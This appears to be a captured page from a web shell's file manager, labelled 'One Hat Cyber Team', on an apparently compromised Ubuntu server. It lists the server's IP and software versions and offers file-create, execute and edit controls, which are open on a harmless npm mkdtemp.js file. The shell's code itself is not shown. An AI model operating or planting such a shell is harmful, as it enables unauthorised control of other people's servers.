One Hat Cyber Team
Your IP :
10.30.1.1
Server IP :
103.148.201.5
Server :
Linux web-olt 5.15.0-161-generic #171-Ubuntu SMP Sat Oct 11 08:17:01 UTC 2025 x86_64
Server Software :
Apache/2.4.52 (Ubuntu)
PHP Version :
8.1.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
9611
/
root
/
usr
/
share
/
nodejs
/
@npmcli
/
fs
/
lib
/
Edit File:
mkdtemp.js
const { dirname, sep } = require('path') const fs = require('./fs.js') const getOptions = require('./common/get-options.js') const owner = require('./common/owner.js') const mkdtemp = async (prefix, opts) => { const options = getOptions(opts, { copy: ['encoding', 'owner'], wrap: 'encoding', }) // mkdtemp relies on the trailing path separator to indicate if it should // create a directory inside of the prefix. if that's the case then the root // we infer ownership from is the prefix itself, otherwise it's the dirname // /tmp -> /tmpABCDEF, infers from / // /tmp/ -> /tmp/ABCDEF, infers from /tmp const root = prefix.endsWith(sep) ? prefix : dirname(prefix) const { uid, gid } = await owner.validate(root, options.owner) const result = await fs.mkdtemp(prefix, options) await owner.update(result, uid, gid) return result } module.exports = mkdtemp
Simpan